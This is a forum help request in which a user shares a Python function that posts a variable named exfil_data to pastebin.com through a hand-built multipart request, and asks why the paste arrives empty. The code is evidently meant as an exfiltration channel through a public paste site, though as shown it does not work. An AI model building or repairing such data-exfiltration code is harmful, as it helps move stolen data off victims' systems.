[Python] Can't Post To Pastebin?
#1
So this issue has been bugging me and I have no idea what's wrong. It's not an issue with my code (that I know of) and I can't tell exactly what's being buggy. Basically, I'm trying to post something to pastebin in python using the requests module. But every time I run the code, pastebin responds that I can't submit empty pastes. But I've checked using pdb, and the HTTP POST data variable is exactly like it's supposed to be before sending. So idk what the problem is. Any help is appreciated. This code is pretty simple, it was more complicated (had request headers, cookies and everything) but the same problem occurred. This is a rewrite of the more complicated version.
Code:
def broadcast_data(exfil_data):
    post_data = """-----------------------------136035662110976823901951627671
    Content-Disposition: form-data; name="csrf_token_post"

    MTU4ODQ0MTkxN1MwbEJVelZhajg2dWJjOFlzVFVBbkFFRHJxd3VmYzBm
    -----------------------------136035662110976823901951627671
    Content-Disposition: form-data; name="submit_hidden"

    submit_hidden
    -----------------------------136035662110976823901951627671
    Content-Disposition: form-data; name="paste_code"

    {}
    -----------------------------136035662110976823901951627671
    Content-Disposition: form-data; name="paste_format"

    1
    -----------------------------136035662110976823901951627671
    Content-Disposition: form-data; name="paste_expire_date"

    N
    -----------------------------136035662110976823901951627671
    Content-Disposition: form-data; name="paste_private"

    0
    -----------------------------136035662110976823901951627671
    Content-Disposition: form-data; name="paste_name"


    -----------------------------136035662110976823901951627671--
    """.format(exfil_data)

    paste_req = requests.post('https://pastebin.com/post.php', data=post_data)
    print(paste_req.status_code)
    print(paste_req.text)


Messages In This Thread
[Python] Can't Post To Pastebin? - by DeepLogic - 05-02-2020, 11:49 PM

Possibly Related Threads…
Thread Author Replies Views Last Post
  Hi guys, can anyone help me modify a jar file? Saddam 17 1,587 09-17-2020, 11:18 PM
Last Post: Saddam
  Random bitcoin private key generation in python illmanors 1 5,937 01-31-2019, 01:09 PM
Last Post: sleepy999
  Python check individual characters? Anthrax 4 5,210 10-31-2016, 09:19 PM
Last Post: Anthrax
  How can I get back into coding? Does anybody know effective methods? Arsenal102 6 6,023 07-02-2015, 09:16 PM
Last Post: Cryptography